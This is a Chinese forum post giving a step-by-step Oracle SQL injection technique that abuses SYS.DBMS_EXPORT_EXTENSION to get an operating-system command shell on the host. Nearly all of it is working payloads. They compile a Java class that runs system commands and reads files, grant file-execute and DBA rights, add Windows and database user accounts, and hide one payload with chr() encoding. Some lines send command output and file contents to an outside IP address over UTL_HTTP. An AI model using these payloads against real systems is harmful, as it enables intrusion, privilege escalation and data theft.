- 曙海教育集團論壇 (http://www.scb-ycwb.com/bbs/index.asp)
-- Oracle數據庫 (http://www.scb-ycwb.com/bbs/list.asp?boardid=65)
---- 犀利的 oracle 注入技術 (http://www.scb-ycwb.com/bbs/dispbbs.asp?boardid=65&id=2503)
-- 發布時間：2010-12-11 11:04:20
-- 犀利的 oracle 注入技術
介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。
以下的演示都是在web上的sql plus執行的，在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and \'1\'<>\'a\'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" \'a\'|| "是為了讓語句返回true值)
語句有點長，可能要用post提交。
以下是各個步驟：
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數，在oracle上創建Java包LinxUtil，里面兩個函數，runCMD用于執行系統命令，readFile用于讀取文件：
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)
------------------------
如果url有長度限制，可以把readFile()函數塊去掉，即：
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'begin dbms_java.grant_permission( \'\'\'\'\'\'\'\'PUBLIC\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'SYS:java.io.FilePermission\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'<<ALL FILES>>\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'execute\'\'\'\'\'\'\'\' );end;\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'\'\'\'\'LinxUtil.runCMD(java.lang.String) return String\'\'\'\'\'\'\'\'; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name \'\'\'\'\'\'\'\'LinxUtil.readFile(java.lang.String) return String\'\'\'\'\'\'\'\'; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxRunCMD to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxReadFile to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
5.測試上面的幾步是否成功
and \'1\'<>\'11\'||(
select OBJECT_ID from all_objects where object_name =\'LINXRUNCMD\'
)
and \'1\'<>(
select OBJECT_ID from all_objects where object_name =\'LINXREADFILE\'
)
6.執行命令：
/xxx.jsp?id=1 and \'1\'<>(
select sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual
)
/xxx.jsp?id=1 and \'1\'<>(
select sys.LinxReadFile(\'c:/boot.ini\') from dual
)
注意sys.LinxReadFile()返回的是varchar類型，不能用"and 1<>" 代替 "and \'1\'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxRunCMD(\'cmd /c net user aaa /del\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)
/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxReadFile(\'c:/boot.ini\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)
注意：用UTL_HTTP.request時，要用 REPLACE() 把空格、換行符給替換掉，否則會無法提交http request。用utl_encode.base64_encode也可以。
--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變：
select * from all_objects where object_name like \'%LINX%\' or object_name like \'%Linx%\'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
drop function LinxRunCMD \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn======================================================================
測試漏洞的另一方法：
創建oracle帳號：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
CREATE USER linxsql IDENTIFIED BY linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
確定漏洞存在：
1<>(
select user_id from all_users where username=\'LINXSQL\'
)
給linxsql連接權限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
GRANT CONNECT TO linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
刪除帳號：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
drop user LINXSQL\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
======================
以下方法創建一個可以執行多語句的函數Linx_query()，執行成功的話返回數值"1"，但權限是繼承的，可能僅僅是public權限，作用似乎不大，真的要用到話可以考慮grant dba to 當前的User：
1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...
1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on Linx_query to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...
1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'SELECT 14554 FROM DUAL\') FROM DUAL
) and ...
1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
select 1 from dual
\'\'; commit; end;\') from dual
) and ...
多語句：
SELECT sys.Linx_Query(\'declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;\') from dual
創建用戶(除非當前用戶有system權限，否則無法成功)：
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
\'\'; commit; end;\') from dual
================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1; end; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual;
如果有權限，以下語句應該允許正常
select sys.linx_query(\'select 1 from dual\') from dual;
不然的話運行：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
grant dba to 當前的User\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
2.創建包
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";return str;}}\'\'; commit; end;\') from dual
3.創建函數
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'LinxUtil2.RunCMD(java.lang.String) return String\'\'\'\';\'\'; commit; end;\') from dual
4.給權限
給用戶SYSTEM執行權限：
SELECT sys.Linx_Query(\'declare pragma autonomous_transaction;begin dbms_java.grant_permission( \'\'SYSTEM\'\', \'\'SYS:java.io.FilePermission\'\', \'\'<<ALL FILES>>\'\', \'\'execute\'\' );end;\') from dual
5.執行函數
select RunCMD2(\'cmd /c dir\') from dual